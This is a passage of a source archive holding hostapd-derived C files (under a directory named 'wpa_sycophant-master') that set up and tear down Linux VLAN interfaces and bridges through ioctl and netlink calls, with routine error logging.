socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } if_index = if_nametoindex(if_name); if (if_index == 0) { wpa_printf(MSG_ERROR, "VLAN: %s: Failure determining " "interface index for '%s'", __func__, if_name); close(fd); return -1; } args[0] = BRCTL_ADD_IF; args[1] = if_index; os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); ifr.ifr_data = (void *) args; if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { if (errno == EBUSY) { /* The interface is already added. */ close(fd); return 1; } wpa_printf(MSG_ERROR, "VLAN: %s: ioctl[SIOCDEVPRIVATE," "BRCTL_ADD_IF] failed for br_name=%s if_name=%s: " "%s", __func__, br_name, if_name, strerror(errno)); close(fd); return -1; } close(fd); return 0; } static int br_delbr(const char *br_name) { int fd; unsigned long arg[2]; wpa_printf(MSG_DEBUG, "VLAN: br_delbr(%s)", br_name); if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } arg[0] = BRCTL_DEL_BRIDGE; arg[1] = (unsigned long) br_name; if (ioctl(fd, SIOCGIFBR, arg) < 0 && errno != ENXIO) { /* No error if bridge already removed. */ wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_DEL_BRIDGE failed for " "%s: %s", __func__, br_name, strerror(errno)); close(fd); return -1; } close(fd); return 0; } /* Add a bridge with the name 'br_name'. returns -1 on error returns 1 if the bridge already exists returns 0 otherwise */ static int br_addbr(const char *br_name) { int fd; unsigned long arg[4]; struct ifreq ifr; wpa_printf(MSG_DEBUG, "VLAN: br_addbr(%s)", br_name); if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } arg[0] = BRCTL_ADD_BRIDGE; arg[1] = (unsigned long) br_name; if (ioctl(fd, SIOCGIFBR, arg) < 0) { if (errno == EEXIST) { /* The bridge is already added. */ close(fd); return 1; } else { wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_ADD_BRIDGE " "failed for %s: %s", __func__, br_name, strerror(errno)); close(fd); return -1; } } /* Decrease forwarding delay to avoid EAPOL timeouts. */ os_memset(&ifr, 0, sizeof(ifr)); os_strlcpy(ifr.ifr_name, br_name, IFNAMSIZ); arg[0] = BRCTL_SET_BRIDGE_FORWARD_DELAY; arg[1] = 1; arg[2] = 0; arg[3] = 0; ifr.ifr_data = (char *) &arg; if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: " "BRCTL_SET_BRIDGE_FORWARD_DELAY (1 sec) failed for " "%s: %s", __func__, br_name, strerror(errno)); /* Continue anyway */ } close(fd); return 0; } static int br_getnumports(const char *br_name) { int fd; int i; int port_cnt = 0; unsigned long arg[4]; int ifindices[MAX_BR_PORTS]; struct ifreq ifr; if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } arg[0] = BRCTL_GET_PORT_LIST; arg[1] = (unsigned long) ifindices; arg[2] = MAX_BR_PORTS; arg[3] = 0; os_memset(ifindices, 0, sizeof(ifindices)); os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); ifr.ifr_data = (void *) arg; if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_GET_PORT_LIST " "failed for %s: %s", __func__, br_name, strerror(errno)); close(fd); return -1; } for (i = 1; i < MAX_BR_PORTS; i++) { if (ifindices[i] > 0) { port_cnt++; } } close(fd); return port_cnt; } static void vlan_newlink_tagged(int vlan_naming, const char *tagged_interface, const char *br_name, int vid, struct hostapd_data *hapd) { char vlan_ifname[IFNAMSIZ]; int clean; if (vlan_naming == DYNAMIC_VLAN_NAMING_WITH_DEVICE) os_snprintf(vlan_ifname, sizeof(vlan_ifname), "%s.%d", tagged_interface, vid); else os_snprintf(vlan_ifname, sizeof(vlan_ifname), "vlan%d", vid); clean = 0; ifconfig_up(tagged_interface); if (!vlan_add(tagged_interface, vid, vlan_ifname)) clean |= DVLAN_CLEAN_VLAN; if (!br_addif(br_name, vlan_ifname)) clean |= DVLAN_CLEAN_VLAN_PORT; dyn_iface_get(hapd, vlan_ifname, clean); ifconfig_up(vlan_ifname); } static void vlan_bridge_name(char *br_name, struct hostapd_data *hapd, int vid) { char *tagged_interface = hapd->conf->ssid.vlan_tagged_interface; if (hapd->conf->vlan_bridge[0]) { os_snprintf(br_name, IFNAMSIZ, "%s%d", hapd->conf->vlan_bridge, vid); } else if (tagged_interface) { os_snprintf(br_name, IFNAMSIZ, "br%s.%d", tagged_interface, vid); } else { os_snprintf(br_name, IFNAMSIZ, "brvlan%d", vid); } } static void vlan_get_bridge(const char *br_name, struct hostapd_data *hapd, int vid) { char *tagged_interface = hapd->conf->ssid.vlan_tagged_interface; int vlan_naming = hapd->conf->ssid.vlan_naming; dyn_iface_get(hapd, br_name, br_addbr(br_name) ? 0 : DVLAN_CLEAN_BR); ifconfig_up(br_name); if (tagged_interface) vlan_newlink_tagged(vlan_naming, tagged_interface, br_name, vid, hapd); } void vlan_newlink(const char *ifname, struct hostapd_data *hapd) { char br_name[IFNAMSIZ]; struct hostapd_vlan *vlan; int untagged, *tagged, i, notempty; wpa_printf(MSG_DEBUG, "VLAN: vlan_newlink(%s)", ifname); for (vlan = hapd->conf->vlan; vlan; vlan = vlan->next) { if (vlan->configured || os_strcmp(ifname, vlan->ifname) != 0) continue; break; } if (!vlan) return; vlan->configured = 1; notempty = vlan->vlan_desc.notempty; untagged = vlan->vlan_desc.untagged; tagged = vlan->vlan_desc.tagged; if (!notempty) { /* Non-VLAN STA */ if (hapd->conf->bridge[0] && !br_addif(hapd->conf->bridge, ifname)) vlan->clean |= DVLAN_CLEAN_WLAN_PORT; } else if (untagged > 0 && untagged <= MAX_VLAN_ID) { vlan_bridge_name(br_name, hapd, untagged); vlan_get_bridge(br_name, hapd, untagged); if (!br_addif(br_name, ifname)) vlan->clean |= DVLAN_CLEAN_WLAN_PORT; } for (i = 0; i < MAX_NUM_TAGGED_VLAN && tagged[i]; i++) { if (tagged[i] == untagged || tagged[i] <= 0 || tagged[i] > MAX_VLAN_ID || (i > 0 && tagged[i] == tagged[i - 1])) continue; vlan_bridge_name(br_name, hapd, tagged[i]); vlan_get_bridge(br_name, hapd, tagged[i]); vlan_newlink_tagged(DYNAMIC_VLAN_NAMING_WITH_DEVICE, ifname, br_name, tagged[i], hapd); } ifconfig_up(ifname); } static void vlan_dellink_tagged(int vlan_naming, const char *tagged_interface, const char *br_name, int vid, struct hostapd_data *hapd) { char vlan_ifname[IFNAMSIZ]; int clean; if (vlan_naming == DYNAMIC_VLAN_NAMING_WITH_DEVICE) os_snprintf(vlan_ifname, sizeof(vlan_ifname), "%s.%d", tagged_interface, vid); else os_snprintf(vlan_ifname, sizeof(vlan_ifname), "vlan%d", vid); clean = dyn_iface_put(hapd, vlan_ifname); if (clean & DVLAN_CLEAN_VLAN_PORT) br_delif(br_name, vlan_ifname); if (clean & DVLAN_CLEAN_VLAN) { ifconfig_down(vlan_ifname); vlan_rem(vlan_ifname); } } static void vlan_put_bridge(const char *br_name, struct hostapd_data *hapd, int vid) { int clean; char *tagged_interface = hapd->conf->ssid.vlan_tagged_interface; int vlan_naming = hapd->conf->ssid.vlan_naming; if (tagged_interface) vlan_dellink_tagged(vlan_naming, tagged_interface, br_name, vid, hapd); clean = dyn_iface_put(hapd, br_name); if ((clean & DVLAN_CLEAN_BR) && br_getnumports(br_name) == 0) { ifconfig_down(br_name); br_delbr(br_name); } } void vlan_dellink(const char *ifname, struct hostapd_data *hapd) { struct hostapd_vlan *first, *prev, *vlan = hapd->conf->vlan; wpa_printf(MSG_DEBUG, "VLAN: vlan_dellink(%s)", ifname); first = prev = vlan; while (vlan) { if (os_strcmp(ifname, vlan->ifname) != 0) { prev = vlan; vlan = vlan->next; continue; } break; } if (!vlan) return; if (vlan->configured) { int notempty = vlan->vlan_desc.notempty; int untagged = vlan->vlan_desc.untagged; int *tagged = vlan->vlan_desc.tagged; char br_name[IFNAMSIZ]; int i; for (i = 0; i < MAX_NUM_TAGGED_VLAN && tagged[i]; i++) { if (tagged[i] == untagged || tagged[i] <= 0 || tagged[i] > MAX_VLAN_ID || (i > 0 && tagged[i] == tagged[i - 1])) continue; vlan_bridge_name(br_name, hapd, tagged[i]); vlan_dellink_tagged(DYNAMIC_VLAN_NAMING_WITH_DEVICE, ifname, br_name, tagged[i], hapd); vlan_put_bridge(br_name, hapd, tagged[i]); } if (!notempty) { /* Non-VLAN STA */ if (hapd->conf->bridge[0] && (vlan->clean & DVLAN_CLEAN_WLAN_PORT)) br_delif(hapd->conf->bridge, ifname); } else if (untagged > 0 && untagged <= MAX_VLAN_ID) { vlan_bridge_name(br_name, hapd, untagged); if (vlan->clean & DVLAN_CLEAN_WLAN_PORT) br_delif(br_name, vlan->ifname); vlan_put_bridge(br_name, hapd, untagged); } } /* * Ensure this VLAN interface is actually removed even if * NEWLINK message is only received later. */ if (if_nametoindex(vlan->ifname) && vlan_if_remove(hapd, vlan)) wpa_printf(MSG_ERROR, "VLAN: Could not remove VLAN iface: %s: %s", vlan->ifname, strerror(errno)); if (vlan == first) hapd->conf->vlan = vlan->next; else prev->next = vlan->next; os_free(vlan); } static void vlan_read_ifnames(struct nlmsghdr *h, size_t len, int del, struct hostapd_data *hapd) { struct ifinfomsg *ifi; int attrlen, nlmsg_len, rta_len; struct rtattr *attr; char ifname[IFNAMSIZ + 1]; if (len < sizeof(*ifi)) return; ifi = NLMSG_DATA(h); nlmsg_len = NLMSG_ALIGN(sizeof(struct ifinfomsg)); attrlen = h->nlmsg_len - nlmsg_len; if (attrlen < 0) return; attr = (struct rtattr *) (((char *) ifi) + nlmsg_len); os_memset(ifname, 0, sizeof(ifname)); rta_len = RTA_ALIGN(sizeof(struct rtattr)); while (RTA_OK(attr, attrlen)) { if (attr->rta_type == IFLA_IFNAME) { int n = attr->rta_len - rta_len; if (n < 0) break; if ((size_t) n >= sizeof(ifname)) n = sizeof(ifname) - 1; os_memcpy(ifname, ((char *) attr) + rta_len, n); } attr = RTA_NEXT(attr, attrlen); } if (!ifname[0]) return; if (del && if_nametoindex(ifname)) { /* interface still exists, race condition -> * iface has just been recreated */ return; } wpa_printf(MSG_DEBUG, "VLAN: RTM_%sLINK: ifi_index=%d ifname=%s ifi_family=%d ifi_flags=0x%x (%s%s%s%s)", del ? "DEL" : "NEW", ifi->ifi_index, ifname, ifi->ifi_family, ifi->ifi_flags, (ifi->ifi_flags & IFF_UP) ? "[UP]" : "", (ifi->ifi_flags & IFF_RUNNING) ? "[RUNNING]" : "", (ifi->ifi_flags & IFF_LOWER_UP) ? "[LOWER_UP]" : "", (ifi->ifi_flags & IFF_DORMANT) ? "[DORMANT]" : ""); if (del) vlan_dellink(ifname, hapd); else vlan_newlink(ifname, hapd); } static void vlan_event_receive(int sock, void *eloop_ctx, void *sock_ctx) { char buf[8192]; int left; struct sockaddr_nl from; socklen_t fromlen; struct nlmsghdr *h; struct hostapd_data *hapd = eloop_ctx; fromlen = sizeof(from); left = recvfrom(sock, buf, sizeof(buf), MSG_DONTWAIT, (struct sockaddr *) &from, &fromlen); if (left < 0) { if (errno != EINTR && errno != EAGAIN) wpa_printf(MSG_ERROR, "VLAN: %s: recvfrom failed: %s", __func__, strerror(errno)); return; } h = (struct nlmsghdr *) buf; while (NLMSG_OK(h, left)) { int len, plen; len = h->nlmsg_len; plen = len - sizeof(*h); if (len > left || plen < 0) { wpa_printf(MSG_DEBUG, "VLAN: Malformed netlink " "message: len=%d left=%d plen=%d", len, left, plen); break; } switch (h->nlmsg_type) { case RTM_NEWLINK: vlan_read_ifnames(h, plen, 0, hapd); break; case RTM_DELLINK: vlan_read_ifnames(h, plen, 1, hapd); break; } h = NLMSG_NEXT(h, left); } if (left > 0) { wpa_printf(MSG_DEBUG, "VLAN: %s: %d extra bytes in the end of " "netlink message", __func__, left); } } struct full_dynamic_vlan * full_dynamic_vlan_init(struct hostapd_data *hapd) { struct sockaddr_nl local; struct full_dynamic_vlan *priv; priv = os_zalloc(sizeof(*priv)); if (priv == NULL) return NULL; vlan_set_name_type(hapd->conf->ssid.vlan_naming == DYNAMIC_VLAN_NAMING_WITH_DEVICE ? VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD : VLAN_NAME_TYPE_PLUS_VID_NO_PAD); priv->s = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (priv->s < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(PF_NETLINK,SOCK_RAW," "NETLINK_ROUTE) failed: %s", __func__, strerror(errno)); os_free(priv); return NULL; } os_memset(&local, 0, sizeof(local)); local.nl_family = AF_NETLINK; local.nl_groups = RTMGRP_LINK; if (bind(priv->s, (struct sockaddr *) &local, sizeof(local)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: bind(netlink) failed: %s", __func__, strerror(errno)); close(priv->s); os_free(priv); return NULL; } if (eloop_register_read_sock(priv->s, vlan_event_receive, hapd, NULL)) { close(priv->s); os_free(priv); return NULL; } return priv; } void full_dynamic_vlan_deinit(struct full_dynamic_vlan *priv) { if (priv == NULL) return; eloop_unregister_read_sock(priv->s); close(priv->s); os_free(priv); } wpa_sycophant-master/src/ap/vlan_ifconfig.c000066400000000000000000000027371377436615100214130ustar00rootroot00000000000000/* * hostapd / VLAN ifconfig helpers * Copyright 2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include #include "utils/common.h" #include "vlan_util.h" int ifconfig_helper(const char *if_name, int up) { int fd; struct ifreq ifr; if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } os_memset(&ifr, 0, sizeof(ifr)); os_strlcpy(ifr.ifr_name, if_name, IFNAMSIZ); if (ioctl(fd, SIOCGIFFLAGS, &ifr) != 0) { wpa_printf(MSG_ERROR, "VLAN: %s: ioctl(SIOCGIFFLAGS) failed " "for interface %s: %s", __func__, if_name, strerror(errno)); close(fd); return -1; } if (up) ifr.ifr_flags |= IFF_UP; else ifr.ifr_flags &= ~IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) != 0) { wpa_printf(MSG_ERROR, "VLAN: %s: ioctl(SIOCSIFFLAGS) failed " "for interface %s (up=%d): %s", __func__, if_name, up, strerror(errno)); close(fd); return -1; } close(fd); return 0; } int ifconfig_up(const char *if_name) { wpa_printf(MSG_DEBUG, "VLAN: Set interface %s up", if_name); return ifconfig_helper(if_name, 1); } int iface_exists(const char *ifname) { return if_nametoindex(ifname); } wpa_sycophant-master/src/ap/vlan_init.c000066400000000000000000000130121377436615100205560ustar00rootroot00000000000000/* * hostapd / VLAN initialization * Copyright 2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "wpa_auth.h" #include "vlan_init.h" #include "vlan_util.h" static int vlan_if_add(struct hostapd_data *hapd, struct hostapd_vlan *vlan, int existsok) { int ret, i; for (i = 0; i < NUM_WEP_KEYS; i++) { if (!hapd->conf->ssid.wep.key[i]) continue; wpa_printf(MSG_ERROR, "VLAN: Refusing to set up VLAN iface %s with WEP", vlan->ifname); return -1; } if (!iface_exists(vlan->ifname)) ret = hostapd_vlan_if_add(hapd, vlan->ifname); else if (!existsok) return -1; else ret = 0; if (ret) return ret; ifconfig_up(vlan->ifname); /* else wpa group will fail fatal */ if (hapd->wpa_auth) ret = wpa_auth_ensure_group(hapd->wpa_auth, vlan->vlan_id); if (ret == 0) return ret; wpa_printf(MSG_ERROR, "WPA initialization for VLAN %d failed (%d)", vlan->vlan_id, ret); if (wpa_auth_release_group(hapd->wpa_auth, vlan->vlan_id)) wpa_printf(MSG_ERROR, "WPA deinit of %s failed", vlan->ifname); /* group state machine setup failed */ if (hostapd_vlan_if_remove(hapd, vlan->ifname)) wpa_printf(MSG_ERROR, "Removal of %s failed", vlan->ifname); return ret; } int vlan_if_remove(struct hostapd_data *hapd, struct hostapd_vlan *vlan) { int ret; ret = wpa_auth_release_group(hapd->wpa_auth, vlan->vlan_id); if (ret) wpa_printf(MSG_ERROR, "WPA deinitialization for VLAN %d failed (%d)", vlan->vlan_id, ret); return hostapd_vlan_if_remove(hapd, vlan->ifname); } static int vlan_dynamic_add(struct hostapd_data *hapd, struct hostapd_vlan *vlan) { while (vlan) { if (vlan->vlan_id != VLAN_ID_WILDCARD) { if (vlan_if_add(hapd, vlan, 1)) { wpa_printf(MSG_ERROR, "VLAN: Could not add VLAN %s: %s", vlan->ifname, strerror(errno)); return -1; } #ifdef CONFIG_FULL_DYNAMIC_VLAN vlan_newlink(vlan->ifname, hapd); #endif /* CONFIG_FULL_DYNAMIC_VLAN */ } vlan = vlan->next; } return 0; } static void vlan_dynamic_remove(struct hostapd_data *hapd, struct hostapd_vlan *vlan) { struct hostapd_vlan *next; while (vlan) { next = vlan->next; #ifdef CONFIG_FULL_DYNAMIC_VLAN /* vlan_dellink() takes care of cleanup and interface removal */ if (vlan->vlan_id != VLAN_ID_WILDCARD) vlan_dellink(vlan->ifname, hapd); #else /* CONFIG_FULL_DYNAMIC_VLAN */ if (vlan->vlan_id != VLAN_ID_WILDCARD && vlan_if_remove(hapd, vlan)) { wpa_printf(MSG_ERROR, "VLAN: Could not remove VLAN " "iface: %s: %s", vlan->ifname, strerror(errno)); } #endif /* CONFIG_FULL_DYNAMIC_VLAN */ vlan = next; } } int vlan_init(struct hostapd_data *hapd) { #ifdef CONFIG_FULL_DYNAMIC_VLAN hapd->full_dynamic_vlan = full_dynamic_vlan_init(hapd); #endif /* CONFIG_FULL_DYNAMIC_VLAN */ if ((hapd->conf->ssid.dynamic_vlan != DYNAMIC_VLAN_DISABLED || hapd->conf->ssid.per_sta_vif) && !hapd->conf->vlan) { /* dynamic vlans enabled but no (or empty) vlan_file given */ struct hostapd_vlan *vlan; vlan = os_zalloc(sizeof(*vlan)); if (vlan == NULL) { wpa_printf(MSG_ERROR, "Out of memory while assigning " "VLAN interfaces"); return -1; } vlan->vlan_id = VLAN_ID_WILDCARD; os_snprintf(vlan->ifname, sizeof(vlan->ifname), "%s.#", hapd->conf->iface); vlan->next = hapd->conf->vlan; hapd->conf->vlan = vlan; } if (vlan_dynamic_add(hapd, hapd->conf->vlan)) return -1; return 0; } void vlan_deinit(struct hostapd_data *hapd) { vlan_dynamic_remove(hapd, hapd->conf->vlan); #ifdef CONFIG_FULL_DYNAMIC_VLAN full_dynamic_vlan_deinit(hapd->full_dynamic_vlan); hapd->full_dynamic_vlan = NULL; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ } struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, struct hostapd_vlan *vlan, int vlan_id, struct vlan_description *vlan_desc) { struct hostapd_vlan *n; char ifname[IFNAMSIZ + 1], *pos; if (vlan == NULL || vlan->vlan_id != VLAN_ID_WILDCARD) return NULL; wpa_printf(MSG_DEBUG, "VLAN: %s(vlan_id=%d ifname=%s)", __func__, vlan_id, vlan->ifname); os_strlcpy(ifname, vlan->ifname, sizeof(ifname)); pos = os_strchr(ifname, '#'); if (pos == NULL) return NULL; *pos++ = '\0'; n = os_zalloc(sizeof(*n)); if (n == NULL) return NULL; n->vlan_id = vlan_id; if (vlan_desc) n->vlan_desc = *vlan_desc; n->dynamic_vlan = 1; os_snprintf(n->ifname, sizeof(n->ifname), "%s%d%s", ifname, vlan_id, pos); n->next = hapd->conf->vlan; hapd->conf->vlan = n; /* hapd->conf->vlan needs this new VLAN here for WPA setup */ if (vlan_if_add(hapd, n, 0)) { hapd->conf->vlan = n->next; os_free(n); n = NULL; } return n; } int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id) { struct hostapd_vlan *vlan; if (vlan_id <= 0) return 1; wpa_printf(MSG_DEBUG, "VLAN: %s(ifname=%s vlan_id=%d)", __func__, hapd->conf->iface, vlan_id); vlan = hapd->conf->vlan; while (vlan) { if (vlan->vlan_id == vlan_id && vlan->dynamic_vlan > 0) { vlan->dynamic_vlan--; break; } vlan = vlan->next; } if (vlan == NULL) return 1; if (vlan->dynamic_vlan == 0) { vlan_if_remove(hapd, vlan); #ifdef CONFIG_FULL_DYNAMIC_VLAN vlan_dellink(vlan->ifname, hapd); #endif /* CONFIG_FULL_DYNAMIC_VLAN */ } return 0; } wpa_sycophant-master/src/ap/vlan_init.h000066400000000000000000000021361377436615100205700ustar00rootroot00000000000000/* * hostapd / VLAN initialization * Copyright 2003, Instant802 Networks, Inc. * Copyright 2005, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef VLAN_INIT_H #define VLAN_INIT_H #ifndef CONFIG_NO_VLAN int vlan_init(struct hostapd_data *hapd); void vlan_deinit(struct hostapd_data *hapd); struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, struct hostapd_vlan *vlan, int vlan_id, struct vlan_description *vlan_desc); int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id); #else /* CONFIG_NO_VLAN */ static inline int vlan_init(struct hostapd_data *hapd) { return 0; } static inline void vlan_deinit(struct hostapd_data *hapd) { } static inline struct hostapd_vlan * vlan_add_dynamic(struct hostapd_data *hapd, struct hostapd_vlan *vlan, int vlan_id, struct vlan_description *vlan_desc) { return NULL; } static inline int vlan_remove_dynamic(struct hostapd_data *hapd, int vlan_id) { return -1; } #endif /* CONFIG_NO_VLAN */ #endif /* VLAN_INIT_H */ wpa_sycophant-master/src/ap/vlan_ioctl.c000066400000000000000000000073761377436615100207450ustar00rootroot00000000000000/* * hostapd / VLAN ioctl API * Copyright 2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include "utils/common.h" #include "common/linux_vlan.h" #include "vlan_util.h" int vlan_rem(const char *if_name) { int fd; struct vlan_ioctl_args if_request; wpa_printf(MSG_DEBUG, "VLAN: vlan_rem(%s)", if_name); if ((os_strlen(if_name) + 1) > sizeof(if_request.device1)) { wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", if_name); return -1; } if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } os_memset(&if_request, 0, sizeof(if_request)); os_strlcpy(if_request.device1, if_name, sizeof(if_request.device1)); if_request.cmd = DEL_VLAN_CMD; if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: DEL_VLAN_CMD failed for %s: " "%s", __func__, if_name, strerror(errno)); close(fd); return -1; } close(fd); return 0; } /* Add a vlan interface with VLAN ID 'vid' and tagged interface 'if_name'. returns -1 on error returns 1 if the interface already exists returns 0 otherwise */ int vlan_add(const char *if_name, int vid, const char *vlan_if_name) { int fd; struct vlan_ioctl_args if_request; wpa_printf(MSG_DEBUG, "VLAN: vlan_add(if_name=%s, vid=%d)", if_name, vid); ifconfig_up(if_name); if ((os_strlen(if_name) + 1) > sizeof(if_request.device1)) { wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", if_name); return -1; } if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } os_memset(&if_request, 0, sizeof(if_request)); /* Determine if a suitable vlan device already exists. */ os_snprintf(if_request.device1, sizeof(if_request.device1), "vlan%d", vid); if_request.cmd = GET_VLAN_VID_CMD; if (ioctl(fd, SIOCSIFVLAN, &if_request) == 0 && if_request.u.VID == vid) { if_request.cmd = GET_VLAN_REALDEV_NAME_CMD; if (ioctl(fd, SIOCSIFVLAN, &if_request) == 0 && os_strncmp(if_request.u.device2, if_name, sizeof(if_request.u.device2)) == 0) { close(fd); wpa_printf(MSG_DEBUG, "VLAN: vlan_add: if_name %s exists already", if_request.device1); return 1; } } /* A suitable vlan device does not already exist, add one. */ os_memset(&if_request, 0, sizeof(if_request)); os_strlcpy(if_request.device1, if_name, sizeof(if_request.device1)); if_request.u.VID = vid; if_request.cmd = ADD_VLAN_CMD; if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: ADD_VLAN_CMD failed for %s: %s", __func__, if_request.device1, strerror(errno)); close(fd); return -1; } close(fd); return 0; } int vlan_set_name_type(unsigned int name_type) { int fd; struct vlan_ioctl_args if_request; wpa_printf(MSG_DEBUG, "VLAN: vlan_set_name_type(name_type=%u)", name_type); if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) failed: %s", __func__, strerror(errno)); return -1; } os_memset(&if_request, 0, sizeof(if_request)); if_request.u.name_type = name_type; if_request.cmd = SET_VLAN_NAME_TYPE_CMD; if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: SET_VLAN_NAME_TYPE_CMD name_type=%u failed: %s", __func__, name_type, strerror(errno)); close(fd); return -1; } close(fd); return 0; } wpa_sycophant-master/src/ap/vlan_util.c000066400000000000000000000076251377436615100206050ustar00rootroot00000000000000/* * hostapd / VLAN netlink api * Copyright (c) 2012, Michael Braun * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include #include "utils/common.h" #include "vlan_util.h" /* * Add a vlan interface with name 'vlan_if_name', VLAN ID 'vid' and * tagged interface 'if_name'. * * returns -1 on error * returns 1 if the interface already exists * returns 0 otherwise */ int vlan_add(const char *if_name, int vid, const char *vlan_if_name) { int err, ret = -1; struct nl_sock *handle = NULL; struct rtnl_link *rlink = NULL; int if_idx = 0; wpa_printf(MSG_DEBUG, "VLAN: vlan_add(if_name=%s, vid=%d, " "vlan_if_name=%s)", if_name, vid, vlan_if_name); if ((os_strlen(if_name) + 1) > IFNAMSIZ) { wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", if_name); return -1; } if ((os_strlen(vlan_if_name) + 1) > IFNAMSIZ) { wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", vlan_if_name); return -1; } handle = nl_socket_alloc(); if (!handle) { wpa_printf(MSG_ERROR, "VLAN: failed to open netlink socket"); goto vlan_add_error; } err = nl_connect(handle, NETLINK_ROUTE); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to connect to netlink: %s", nl_geterror(err)); goto vlan_add_error; } err = rtnl_link_get_kernel(handle, 0, if_name, &rlink); if (err < 0) { /* link does not exist */ wpa_printf(MSG_ERROR, "VLAN: interface %s does not exist", if_name); goto vlan_add_error; } if_idx = rtnl_link_get_ifindex(rlink); rtnl_link_put(rlink); rlink = NULL; err = rtnl_link_get_kernel(handle, 0, vlan_if_name, &rlink); if (err >= 0) { /* link does exist */ rtnl_link_put(rlink); rlink = NULL; wpa_printf(MSG_ERROR, "VLAN: interface %s already exists", vlan_if_name); ret = 1; goto vlan_add_error; } rlink = rtnl_link_alloc(); if (!rlink) { wpa_printf(MSG_ERROR, "VLAN: failed to allocate new link"); goto vlan_add_error; } err = rtnl_link_set_type(rlink, "vlan"); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to set link type: %s", nl_geterror(err)); goto vlan_add_error; } rtnl_link_set_link(rlink, if_idx); rtnl_link_set_name(rlink, vlan_if_name); err = rtnl_link_vlan_set_id(rlink, vid); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to set link vlan id: %s", nl_geterror(err)); goto vlan_add_error; } err = rtnl_link_add(handle, rlink, NLM_F_CREATE); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to create link %s for " "vlan %d on %s (%d): %s", vlan_if_name, vid, if_name, if_idx, nl_geterror(err)); goto vlan_add_error; } ret = 0; vlan_add_error: if (rlink) rtnl_link_put(rlink); if (handle) nl_socket_free(handle); return ret; } int vlan_rem(const char *if_name) { int err, ret = -1; struct nl_sock *handle = NULL; struct rtnl_link *rlink = NULL; wpa_printf(MSG_DEBUG, "VLAN: vlan_rem(if_name=%s)", if_name); handle = nl_socket_alloc(); if (!handle) { wpa_printf(MSG_ERROR, "VLAN: failed to open netlink socket"); goto vlan_rem_error; } err = nl_connect(handle, NETLINK_ROUTE); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to connect to netlink: %s", nl_geterror(err)); goto vlan_rem_error; } err = rtnl_link_get_kernel(handle, 0, if_name, &rlink); if (err < 0) { /* link does not exist */ wpa_printf(MSG_ERROR, "VLAN: interface %s does not exists", if_name); goto vlan_rem_error; } err = rtnl_link_delete(handle, rlink); if (err < 0) { wpa_printf(MSG_ERROR, "VLAN: failed to remove link %s: %s", if_name, nl_geterror(err)); goto 